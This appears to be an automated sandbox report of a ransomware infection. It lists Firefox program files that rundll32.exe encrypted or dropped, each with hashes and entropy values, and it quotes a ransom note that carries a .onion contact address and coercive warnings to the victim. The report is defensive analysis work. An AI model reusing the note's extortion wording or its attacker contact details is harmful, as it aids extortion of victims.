Preview:	.N..2.f,.......M.......^:..`Z..^.].V.n[..?lZ...~5......W....a.r.t.e.d.:. .2.0.2.3.-.1.0.-.0.3. .1.1.:.5.9.:.5.6.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-....p.1,..Q......M.......:C.5Z..:.....7[.~l...'5B._.T.Z.n...-.-.-.-.-.-.-.-.-.-.-.........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-....p.1,..Q......M.......:C.5Z..:.....7[.~l...'5B._.T.Z.N...I.n.s.t.a.l.l.a.t.i.o.n. .D.e.t.a.i.l.s.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-....p.1,..Q......M.......:C.5Z..:.....7[.~l...'5B._.T.Z.n...-.-.-.-.-..... . .I.n.s.t.a.l.l. .D.i.r.:. .C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.M.o.z.i.l.l.a. .F.i.r.e.f.o.x..... . .L.o.c.a.l.e....}.<,..F.....M......2:N.8Zh.g.C...L[..!lE...e5..H.Y.F.r.....0...1..... . .G.R.E. .V.e.r.s.i.o.n.:. .1.1.8...0...1..... . .O.S. .N.a.m.e. . . . .:. .W.i.n.d.o.w.s. .1.0..... . .T.a.r.g.e.......L,.\......M......5:d.5Z..:.....

C:\Program Files\Mozilla Firefox\installation_telemetry.json

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	776
Entropy (8bit):	6.903514893980348
Encrypted:	false
SSDEEP:	12:rnJOpRrVyPfLbTNO/NGG3pgBM1PP41u2NjGDWtGWN/3VNpfR8DhBS:A5yc9/1Cu8j+VWtbv6S
MD5:	CFB5AB1EA005D0FC0D7F569AF46CF9A5
SHA1:	33270368794F809C5EBB65E2F0F4339366AB4713
SHA-256:	7AAE603C981466A2B9EF01F1B73F13F6D8A591155D3E314545D629E99664F171
SHA-512:	C075A29FC48C57548C5F07F59999E94038DEDEF664A1B6BA4A3B87604C8503AE6673E834392E7EF5A289C7360A157CF15B33FC0C1A2773B0ECEA92B4E7A5BDC4
Malicious:	false
Preview:	.....:En..T ...<ftB{.:\|+\......1.0?h...!.s).B].y.1n...{@....p.....:.nN..Tp...efdBr.\|/\......1.0oh....j..)(BA.f.0n..{.....p.....:.n..T:...3f:B-.G\|.\\.....1.0jh...e.p).BG.p.yn...{V....p.....:.n..T ...&f3B%.:\| \P......1.0,h....p.e).BX.y.0n...{P....p.....:.n..T%...pfzBc.k\|s\H.....1.04h....o.b).B..7.3n...{I....p.....:.n..T%...7fzBc.\|\|.\B....1.0Qh....w.y)UB..a.'n...{.....p.....:An..T....;f;B$.k\|n\E......1.0,h...0.%)GB..%.an..{.....p9.5.3.7.6.".}...m.r.....0.W!.-.1....0p.k.x...+Ix.I..`......`..g,..3.rx.j.6z....h...<Q.M.z.1.J....l..}n...P.(.S.H3.V...i.v...E@$`.-N..zE.oF.C1...<z..@...5...u.n.....3/(..+.iwD......`i.y...l........!.. c.....t..............................................................................................29yp10v5m8k.

C:\Program Files\Mozilla Firefox\installation_telemetry.json.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	776
Entropy (8bit):	6.903514893980348
Encrypted:	false
SSDEEP:	12:rnJOpRrVyPfLbTNO/NGG3pgBM1PP41u2NjGDWtGWN/3VNpfR8DhBS:A5yc9/1Cu8j+VWtbv6S
MD5:	CFB5AB1EA005D0FC0D7F569AF46CF9A5
SHA1:	33270368794F809C5EBB65E2F0F4339366AB4713
SHA-256:	7AAE603C981466A2B9EF01F1B73F13F6D8A591155D3E314545D629E99664F171
SHA-512:	C075A29FC48C57548C5F07F59999E94038DEDEF664A1B6BA4A3B87604C8503AE6673E834392E7EF5A289C7360A157CF15B33FC0C1A2773B0ECEA92B4E7A5BDC4
Malicious:	false
Preview:	.....:En..T ...<ftB{.:\|+\......1.0?h...!.s).B].y.1n...{@....p.....:.nN..Tp...efdBr.\|/\......1.0oh....j..)(BA.f.0n..{.....p.....:.n..T:...3f:B-.G\|.\\.....1.0jh...e.p).BG.p.yn...{V....p.....:.n..T ...&f3B%.:\| \P......1.0,h....p.e).BX.y.0n...{P....p.....:.n..T%...pfzBc.k\|s\H.....1.04h....o.b).B..7.3n...{I....p.....:.n..T%...7fzBc.\|\|.\B....1.0Qh....w.y)UB..a.'n...{.....p.....:An..T....;f;B$.k\|n\E......1.0,h...0.%)GB..%.an..{.....p9.5.3.7.6.".}...m.r.....0.W!.-.1....0p.k.x...+Ix.I..`......`..g,..3.rx.j.6z....h...<Q.M.z.1.J....l..}n...P.(.S.H3.V...i.v...E@$`.-N..zE.oF.C1...<z..@...5...u.n.....3/(..+.iwD......`i.y...l........!.. c.....t..............................................................................................29yp10v5m8k.

C:\Program Files\Mozilla Firefox\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	true
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Mozilla Firefox\ipcclientcerts.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	217818
Entropy (8bit):	7.1836081313054425
Encrypted:	false
SSDEEP:	3072:Qbc9oXI0NbfHIAzGW8l6iRLYhJizGJLoDK4eenukjcc/L5gCobCoS:Qb/XTfHHGW8l6ipjOLotag6CobS
MD5:	C9F8BAA8EFD2A76F5764208C337DEEA6
SHA1:	1BDCC3A9025FEBF6435B0080B8A4717065954C88
SHA-256:	A33B9E3720CD357D70080D2EA8E1EF18149CF89ECBAB689F3C26003069B3B1BA
SHA-512:	8581F07453E2D43451B0E71CA423C791C5829658827CF6297C159D4857FEC86CA0DB6FFBDA6099E59A05C585ED5C43D9860254C8F28AD5F61BDB3A6C89F79386
Malicious:	true
Preview:	;.f.....R....v. .Qr..u..-.....?..Q......0:...W!........~S.4........!..L.!This program cannot be run in DOS mode.$..PE..d...=..e.........." ................................................\|.......V....r. z.q.....-.....?..Q......0:...W!.........S.4....W.../...x............0.......(...)..........(...........................(.......8...........................................X.{..........f. ..p..u.-.....?..q.....D[.W.W!.....}.....4............@..@.data........ ......................@....pdata.......0......................@..@.00cfg..(....P..................v......Cxw...v. .Qr..v./.....?..Q......p:..9.8Mz.......#.4.........................rsrc...............................@..@.reloc..............."..............@..B........................v.......V....v. .Qr..u.-.....?..Q......0:...W!.........S.4................................................................................................................................v.......V....v. .Qr..u.-.....?..Q...

C:\Program Files\Mozilla Firefox\ipcclientcerts.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	217818
Entropy (8bit):	7.1836081313054425
Encrypted:	false
SSDEEP:	3072:Qbc9oXI0NbfHIAzGW8l6iRLYhJizGJLoDK4eenukjcc/L5gCobCoS:Qb/XTfHHGW8l6ipjOLotag6CobS
MD5:	C9F8BAA8EFD2A76F5764208C337DEEA6
SHA1:	1BDCC3A9025FEBF6435B0080B8A4717065954C88
SHA-256:	A33B9E3720CD357D70080D2EA8E1EF18149CF89ECBAB689F3C26003069B3B1BA
SHA-512:	8581F07453E2D43451B0E71CA423C791C5829658827CF6297C159D4857FEC86CA0DB6FFBDA6099E59A05C585ED5C43D9860254C8F28AD5F61BDB3A6C89F79386
Malicious:	false
Preview:	;.f.....R....v. .Qr..u..-.....?..Q......0:...W!........~S.4........!..L.!This program cannot be run in DOS mode.$..PE..d...=..e.........." ................................................\|.......V....r. z.q.....-.....?..Q......0:...W!.........S.4....W.../...x............0.......(...)..........(...........................(.......8...........................................X.{..........f. ..p..u.-.....?..q.....D[.W.W!.....}.....4............@..@.data........ ......................@....pdata.......0......................@..@.00cfg..(....P..................v......Cxw...v. .Qr..v./.....?..Q......p:..9.8Mz.......#.4.........................rsrc...............................@..@.reloc..............."..............@..B........................v.......V....v. .Qr..u.-.....?..Q......0:...W!.........S.4................................................................................................................................v.......V....v. .Qr..u.-.....?..Q...

C:\Program Files\Mozilla Firefox\lgpllibs.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	41178
Entropy (8bit):	7.175167883892711
Encrypted:	false
SSDEEP:	768:sm2Bd+otwIbzEwoSdZTGYb0ccKvgD0+2A+e6w9HkG7nbX:sVdUQTGxccK/+hiw3rbX
MD5:	0D17E277A8F495FFB1372E61B8C73C69
SHA1:	BF1259354B2D7047C2840D70A467D865F8D62CD8
SHA-256:	B5DC76CC8BA1B0C85705A4FDE450C60A653330CD5CFB6EF5CADABF31E52E168E
SHA-512:	34085E16BB7A050F64FD8EB52C43513A0F040755B95492B629668D94115BA95ECD06E0BB6A34F807D0C14396BFB57BA842E75FFF783DEE235CE8580F45C6793F
Malicious:	true
Preview:	.1..j.P.).\|...dU.2...1']....K1e7....9.!.....D.HY...i..fe..S..T........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........." .....F...*......@................................kj.k.P.-r\|...dU.....1G.D...K1e7....9.!.....D.HI...i..fe..;..T.g.......n..x....................v...)...........f...............................`..8...........xp..P.................................P...\|...dU.t...5']D...K1e7....9.AQ....aD.@@......f...+C.T............@..@.data...P............d..............@....pdata...............f..............@..@.00cfg..(............l...........kj.+.P........U!2....']D...K_e7....9.!.....D.f+...i...f..+..T.....p..............@..@.reloc...............t..............@..B.................................................................kj.k.P.-.\|...dU.2...1']D...K1e7....9.!.....D.HY...i..fe..+..T.................................................................................................................................kj.k.P.-.\|...dU.2...1']D...K1e7....9.!

C:\Program Files\Mozilla Firefox\lgpllibs.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	41178
Entropy (8bit):	7.175167883892711
Encrypted:	false
SSDEEP:	768:sm2Bd+otwIbzEwoSdZTGYb0ccKvgD0+2A+e6w9HkG7nbX:sVdUQTGxccK/+hiw3rbX
MD5:	0D17E277A8F495FFB1372E61B8C73C69
SHA1:	BF1259354B2D7047C2840D70A467D865F8D62CD8
SHA-256:	B5DC76CC8BA1B0C85705A4FDE450C60A653330CD5CFB6EF5CADABF31E52E168E
SHA-512:	34085E16BB7A050F64FD8EB52C43513A0F040755B95492B629668D94115BA95ECD06E0BB6A34F807D0C14396BFB57BA842E75FFF783DEE235CE8580F45C6793F
Malicious:	false
Preview:	.1..j.P.).\|...dU.2...1']....K1e7....9.!.....D.HY...i..fe..S..T........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........." .....F...*......@................................kj.k.P.-r\|...dU.....1G.D...K1e7....9.!.....D.HI...i..fe..;..T.g.......n..x....................v...)...........f...............................`..8...........xp..P.................................P...\|...dU.t...5']D...K1e7....9.AQ....aD.@@......f...+C.T............@..@.data...P............d..............@....pdata...............f..............@..@.00cfg..(............l...........kj.+.P........U!2....']D...K_e7....9.!.....D.f+...i...f..+..T.....p..............@..@.reloc...............t..............@..B.................................................................kj.k.P.-.\|...dU.2...1']D...K1e7....9.!.....D.HY...i..fe..+..T.................................................................................................................................kj.k.P.-.\|...dU.2...1']D...K1e7....9.!

C:\Program Files\Mozilla Firefox\libEGL.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	48858
Entropy (8bit):	7.086325065457803
Encrypted:	false
SSDEEP:	768:x7fChJefJhU5D1A8WLXNcxEoXnMC4ViYhA6a1fgv/TNWL:x7fAJ2gDKbXNcxEoXMC4V12XhO/TQ
MD5:	92E742E5945168F139F635B94290184D
SHA1:	EE310BFC06DB3E8B83891E33AB812822E2019324
SHA-256:	4D6CE2D505CA2667326FB7152D3C6D260806083457A75E6AD5D723B8E17524EE
SHA-512:	C06916B0C4EA2B23C9112AE96426C26EFD22BAF75F062CBD822B80ABD449F01ED96CA3001C34FF4415AF6D662DAA97F9CDE808E7A022153877A2D753ECA90823
Malicious:	true
Preview:	..... .......U....bi....;.f.8.o....._[.../....ho.W..l...Q...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........." .....N...@.......A................................i.. ......U..w.bk.p..;.f.8.o....._[.../....xo.W..l...9...pn......]\|..........x................)......8....l.............................. `..8............................................... ..R...U...bi....;.f.8.o....._[...N.}..Ao.W...l...)...............@..@.data................\|..............@....pdata...............~..............@..@.00cfg..(.........................i.. ."h....9....bi....9.f...o....._[.../......k4......)w......................@..@.reloc..8...........................@..B..................................................................i.. .......U....bi....;.f.8.o....._[.../....ho.W..l...).....................................................................................................................................i.. .......U....bi....;.f.8.o....._[.

C:\Program Files\Mozilla Firefox\libEGL.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	48858
Entropy (8bit):	7.086325065457803
Encrypted:	false
SSDEEP:	768:x7fChJefJhU5D1A8WLXNcxEoXnMC4ViYhA6a1fgv/TNWL:x7fAJ2gDKbXNcxEoXMC4V12XhO/TQ
MD5:	92E742E5945168F139F635B94290184D
SHA1:	EE310BFC06DB3E8B83891E33AB812822E2019324
SHA-256:	4D6CE2D505CA2667326FB7152D3C6D260806083457A75E6AD5D723B8E17524EE
SHA-512:	C06916B0C4EA2B23C9112AE96426C26EFD22BAF75F062CBD822B80ABD449F01ED96CA3001C34FF4415AF6D662DAA97F9CDE808E7A022153877A2D753ECA90823
Malicious:	false
Preview:	..... .......U....bi....;.f.8.o....._[.../....ho.W..l...Q...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........." .....N...@.......A................................i.. ......U..w.bk.p..;.f.8.o....._[.../....xo.W..l...9...pn......]\|..........x................)......8....l.............................. `..8............................................... ..R...U...bi....;.f.8.o....._[...N.}..Ao.W...l...)...............@..@.data................\|..............@....pdata...............~..............@..@.00cfg..(.........................i.. ."h....9....bi....9.f...o....._[.../......k4......)w......................@..@.reloc..8...........................@..B..................................................................i.. .......U....bi....;.f.8.o....._[.../....ho.W..l...).....................................................................................................................................i.. .......U....bi....;.f.8.o....._[.

C:\Program Files\Mozilla Firefox\libGLESv2.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4998362
Entropy (8bit):	7.0982973473782645
Encrypted:	false
SSDEEP:	49152:GDc4Ju0s9g1mhln8CUuYmOp7kd62VURnjiIJNtIJLj9RP2x08WfykcCAsGQG0Eg7:/Df8V37I42MbHIcBWfoySY
MD5:	C0235BDA2D929D9E07E5D240EA68BB06
SHA1:	97B8FF6D583BEE9CEA013A091EAF95BF30A235FE
SHA-256:	7FB0B8E94C6A9C46A3358FF3C6F31F227D5E644BB58853FBBC037818D034C52F
SHA-512:	5753EB2D8E75209B128A773D1759232F12440497D522A8C883D2BD3AD371FE4CA2F5291089243F59A49097A2BE27C7B97233398E60B237810841BA1E2D1A0907
Malicious:	true
Preview:	.H...\ubP...e.O.....f.c....3......i'.7..g......i$).."..J.Lz..........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........." .....8:.........pN-..................................\ubTb..e{O.3nN.f."X...3......i'.7..g......i$).."..J.$z....F.T...4.F.......K.......J.......L..)....L.....d.E.....................h.A.(...PP:.8........... .F..............................f.ou\ub....eoO...8.b.cX...3......i'\|.....d...-e$).-"..F.4F..............@..@.data........@G..<..."G.............@....pdata........J......^J.............@..@.00cfg..(.....K......HK.............A\u"z.{e.O.,.....cX...y......i'.7..g...^...H].{"..J.4........LK..................rsrc.........K......NK.............@..@.reloc........L......TK.............@..B.............................\ubT...e.O.....f.cX...3......i'.7..g......i$).."..J.4z.......................................................................................................................................\ubT...e.O.....f.cX...3......i'.

C:\Program Files\Mozilla Firefox\libGLESv2.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4998362
Entropy (8bit):	7.0982973473782645
Encrypted:	false
SSDEEP:	49152:GDc4Ju0s9g1mhln8CUuYmOp7kd62VURnjiIJNtIJLj9RP2x08WfykcCAsGQG0Eg7:/Df8V37I42MbHIcBWfoySY
MD5:	C0235BDA2D929D9E07E5D240EA68BB06
SHA1:	97B8FF6D583BEE9CEA013A091EAF95BF30A235FE
SHA-256:	7FB0B8E94C6A9C46A3358FF3C6F31F227D5E644BB58853FBBC037818D034C52F
SHA-512:	5753EB2D8E75209B128A773D1759232F12440497D522A8C883D2BD3AD371FE4CA2F5291089243F59A49097A2BE27C7B97233398E60B237810841BA1E2D1A0907
Malicious:	false
Preview:	.H...\ubP...e.O.....f.c....3......i'.7..g......i$).."..J.Lz..........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........." .....8:.........pN-..................................\ubTb..e{O.3nN.f."X...3......i'.7..g......i$).."..J.$z....F.T...4.F.......K.......J.......L..)....L.....d.E.....................h.A.(...PP:.8........... .F..............................f.ou\ub....eoO...8.b.cX...3......i'\|.....d...-e$).-"..F.4F..............@..@.data........@G..<..."G.............@....pdata........J......^J.............@..@.00cfg..(.....K......HK.............A\u"z.{e.O.,.....cX...y......i'.7..g...^...H].{"..J.4........LK..................rsrc.........K......NK.............@..@.reloc........L......TK.............@..B.............................\ubT...e.O.....f.cX...3......i'.7..g......i$).."..J.4z.......................................................................................................................................\ubT...e.O.....f.cX...3......i'.

C:\Program Files\Mozilla Firefox\locale.ini

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.967468332062577
Encrypted:	false
SSDEEP:
MD5:	6F2962C5A8A2844102068714EE4D454A
SHA1:	5006C097A424FFCECEEBB7C7772FAEF063D02641
SHA-256:	0014A691CA9B378136887BA94A33C63607A15A8174664F2D26899A6216AE16E4
SHA-512:	7A9AC34791A8783A84023627C7FDEC3971DB9B21C8E9DDE254EB2AA59C8474637B6D2A2A08300FD6A91D8F3F42E4CD7AA995A6A64B9FA4F4E096FF4C668C3910
Malicious:	false
Preview:	..g......)V..jnO^.!..\|.....r....C........?r..x...-X...D..]..~...v\I#.k.D...K.#..wC.d.4.l.bN>lJ<..T^......%.^.T.:`.$^.h...{.-Wt.h...~..;..]@...^S..W.P.X-8...M...._.c..u...O...k..........h...^.'...H......@8.]f.#._......9..............................................................................................29yp10v5m8k.

C:\Program Files\Mozilla Firefox\locale.ini.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.967468332062577
Encrypted:	false
SSDEEP:
MD5:	6F2962C5A8A2844102068714EE4D454A
SHA1:	5006C097A424FFCECEEBB7C7772FAEF063D02641
SHA-256:	0014A691CA9B378136887BA94A33C63607A15A8174664F2D26899A6216AE16E4
SHA-512:	7A9AC34791A8783A84023627C7FDEC3971DB9B21C8E9DDE254EB2AA59C8474637B6D2A2A08300FD6A91D8F3F42E4CD7AA995A6A64B9FA4F4E096FF4C668C3910
Malicious:	false
Preview:	..g......)V..jnO^.!..\|.....r....C........?r..x...-X...D..]..~...v\I#.k.D...K.#..wC.d.4.l.bN>lJ<..T^......%.^.T.:`.$^.h...{.-Wt.h...~..;..]@...^S..W.P.X-8...M...._.c..u...O...k..........h...^.'...H......@8.]f.#._......9..............................................................................................29yp10v5m8k.

C:\Program Files\Mozilla Firefox\maintenanceservice.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	239322
Entropy (8bit):	7.131438383614062
Encrypted:	false
SSDEEP:
MD5:	C88C3E7E4DE1863CD6FA5565AF6DD3FA
SHA1:	ED3E078393C729F845B775DE2438522B7D46226F
SHA-256:	911FDA2024DE32405E37F5CE88980B75B3AE4CBC0F850BC44EB8C10FF7197230
SHA-512:	7D9C685F67D839ABAC418C21350341A2E6BFA56E12833F008CF2E11BBC49280B7D7544AFA002BD2E93E7A470CD5D1C1D55FCD7DD32FC95FDB5CF0C9B423C49E5
Malicious:	true
Preview:	zgH....F...ok....Ner..e9VLo..........mG.y_...3......@DN0..m.........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......R...$.................@....................==0....F...ok.....fr.....L............mG.y_...3......@DN0.m.........h&..................`....\|...)...........$..........................(....p..8............,...............................IU....F...ok.....gr..e9.Lo.........C5..+l...E.....@.N0..o.............@..@.data...4#...`.......<..............@....pdata..`............J..............@..@.00cfg..(............d..........7=0.......u.k....Ner..f9.No.........mG.y...7..x...jDN0.~n......h.................._RDATA...............j..............@..@.rsrc................l..............@..@.reloc...............t..7=0....F...o+....Ner..e9.Lo..........mG.y_...3......@DN0.m.................................................................................................................................7=0....F...ok....Ner..e9.Lo..........

C:\Program Files\Mozilla Firefox\maintenanceservice.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	239322
Entropy (8bit):	7.131438383614062
Encrypted:	false
SSDEEP:
MD5:	C88C3E7E4DE1863CD6FA5565AF6DD3FA
SHA1:	ED3E078393C729F845B775DE2438522B7D46226F
SHA-256:	911FDA2024DE32405E37F5CE88980B75B3AE4CBC0F850BC44EB8C10FF7197230
SHA-512:	7D9C685F67D839ABAC418C21350341A2E6BFA56E12833F008CF2E11BBC49280B7D7544AFA002BD2E93E7A470CD5D1C1D55FCD7DD32FC95FDB5CF0C9B423C49E5
Malicious:	false
Preview:	zgH....F...ok....Ner..e9VLo..........mG.y_...3......@DN0..m.........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......R...$.................@....................==0....F...ok.....fr.....L............mG.y_...3......@DN0.m.........h&..................`....\|...)...........$..........................(....p..8............,...............................IU....F...ok.....gr..e9.Lo.........C5..+l...E.....@.N0..o.............@..@.data...4#...`.......<..............@....pdata..`............J..............@..@.00cfg..(............d..........7=0.......u.k....Ner..f9.No.........mG.y...7..x...jDN0.~n......h.................._RDATA...............j..............@..@.rsrc................l..............@..@.reloc...............t..7=0....F...o+....Ner..e9.Lo..........mG.y_...3......@DN0.m.................................................................................................................................7=0....F...ok....Ner..e9.Lo..........

C:\Program Files\Mozilla Firefox\maintenanceservice_installer.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	188546
Entropy (8bit):	6.805395435675032
Encrypted:	false
SSDEEP:
MD5:	CCD1A1FB28500044959EC67B95916ADD
SHA1:	6785AA227C33EDA8DCFF11F109B0BE2366628E74
SHA-256:	79BA79E9CF876B4BAB6563BFD64C2D63DD556AB8BB343B2322E54F583F476C69
SHA-512:	97E06F45B5A527FF0A898ED29321A666643E9AD5A7F8E601A38A46320627A7125428740444424E332CAF06E8B6CB37FE450F7143D1881DFCBCCE9B8B1D671E83
Malicious:	true
Preview:	...:}..SC..P..OL.&......d.G.O..@......FMuG!.a.5.t".>.g.?..^.C........!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf...N:~..WC...N.O..&......!.G.N...kC....FMu.!.`.4.t".>.gH=.^V.C.4............@.......................... .......k....@..............................................r...............)............N:~..WC...N.O..&.....d.G.O..@......FMuG!.a...t..>.g.?.^^.C.................text....g.......h.................. ..`.rdata...............l..............@..@.data.............................N:>.!y-.w./.O..'.....d.G.O..@......FMu.!..&G..A.>...?.^..C.t..................@..@..........................................................................................................N:~..WC...N.O..&.....d.G.O..@......FMuG!.a.5.t".>.g.?.^^.C..................................................................................................................................N:~..WC...N.O..&.....d.G.O..@.....

C:\Program Files\Mozilla Firefox\maintenanceservice_installer.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	188546
Entropy (8bit):	6.805395435675032
Encrypted:	false
SSDEEP:
MD5:	CCD1A1FB28500044959EC67B95916ADD
SHA1:	6785AA227C33EDA8DCFF11F109B0BE2366628E74
SHA-256:	79BA79E9CF876B4BAB6563BFD64C2D63DD556AB8BB343B2322E54F583F476C69
SHA-512:	97E06F45B5A527FF0A898ED29321A666643E9AD5A7F8E601A38A46320627A7125428740444424E332CAF06E8B6CB37FE450F7143D1881DFCBCCE9B8B1D671E83
Malicious:	false
Preview:	...:}..SC..P..OL.&......d.G.O..@......FMuG!.a.5.t".>.g.?..^.C........!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf...N:~..WC...N.O..&......!.G.N...kC....FMu.!.`.4.t".>.gH=.^V.C.4............@.......................... .......k....@..............................................r...............)............N:~..WC...N.O..&.....d.G.O..@......FMuG!.a...t..>.g.?.^^.C.................text....g.......h.................. ..`.rdata...............l..............@..@.data.............................N:>.!y-.w./.O..'.....d.G.O..@......FMu.!..&G..A.>...?.^..C.t..................@..@..........................................................................................................N:~..WC...N.O..&.....d.G.O..@......FMuG!.a.5.t".>.g.?.^^.C..................................................................................................................................N:~..WC...N.O..&.....d.G.O..@.....

C:\Program Files\Mozilla Firefox\minidump-analyzer.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	773338
Entropy (8bit):	6.536527566040794
Encrypted:	false
SSDEEP:
MD5:	3A3527FEB6580199E581B66C604A7A7B
SHA1:	5F5274CB88167D3A0898BBEE44A5BE77BCC9704C
SHA-256:	FBFCC34ED54A2BCA0A93EF53DB8404498051ECEEC05E4E17903661BDFD12B1E1
SHA-512:	08D3F0F46ABAC1B4ACF2C7D2235D7A1096B68884495F9823CB93E616516276B953C43938B2B3C870C68D2313A72599C6DA63F45C26F019BBEA7F4F3D65D24547
Malicious:	true
Preview:	..S1....^C..w..60...a..]7@@..2.9.tj..Z)Er.jz\|..}K.<.J....X(#........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......T...H......0..........@.....................Q+1....ZS..w........,j..7@@..2..9.tj..Z9Er.jz\|..}K.<.J....X(#.....................................)......./..T........................r..(....p..8...............`............................%NI....<...w...6d...a.j.]7@@..2.9.tj..(M$..jz.Z.}K.8.J4....,#............@..@.data....2...@...,..."..............@....pdata...............N..............@..@.00cfg..(............d...........Q+1...t7..w..?0...j.j.]7@&..2.9.tj..Z)E2.j.R..?.P.E.....##.....h...................rsrc................j..............@..@.reloc.../.......0...r..............@..B.........................Q+1....ZC..w..60...a.j.]7@@..2.9.tj..Z)Er.jz\|..}K.<.J....X(#.................................................................................................................................Q+1....ZC..w..60.*..a.j.]7@@..2.9.tj.

C:\Program Files\Mozilla Firefox\minidump-analyzer.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	773338
Entropy (8bit):	6.536527566040794
Encrypted:	false
SSDEEP:
MD5:	3A3527FEB6580199E581B66C604A7A7B
SHA1:	5F5274CB88167D3A0898BBEE44A5BE77BCC9704C
SHA-256:	FBFCC34ED54A2BCA0A93EF53DB8404498051ECEEC05E4E17903661BDFD12B1E1
SHA-512:	08D3F0F46ABAC1B4ACF2C7D2235D7A1096B68884495F9823CB93E616516276B953C43938B2B3C870C68D2313A72599C6DA63F45C26F019BBEA7F4F3D65D24547
Malicious:	false
Preview:	..S1....^C..w..60...a..]7@@..2.9.tj..Z)Er.jz\|..}K.<.J....X(#........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......T...H......0..........@.....................Q+1....ZS..w........,j..7@@..2..9.tj..Z9Er.jz\|..}K.<.J....X(#.....................................)......./..T........................r..(....p..8...............`............................%NI....<...w...6d...a.j.]7@@..2.9.tj..(M$..jz.Z.}K.8.J4....,#............@..@.data....2...@...,..."..............@....pdata...............N..............@..@.00cfg..(............d...........Q+1...t7..w..?0...j.j.]7@&..2.9.tj..Z)E2.j.R..?.P.E.....##.....h...................rsrc................j..............@..@.reloc.../.......0...r..............@..B.........................Q+1....ZC..w..60...a.j.]7@@..2.9.tj..Z)Er.jz\|..}K.<.J....X(#.................................................................................................................................Q+1....ZC..w..60.*..a.j.]7@@..2.9.tj.

C:\Program Files\Mozilla Firefox\mozavcodec.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	modified
Size (bytes):	3088602
Entropy (8bit):	7.369689223482822
Encrypted:	false
SSDEEP:
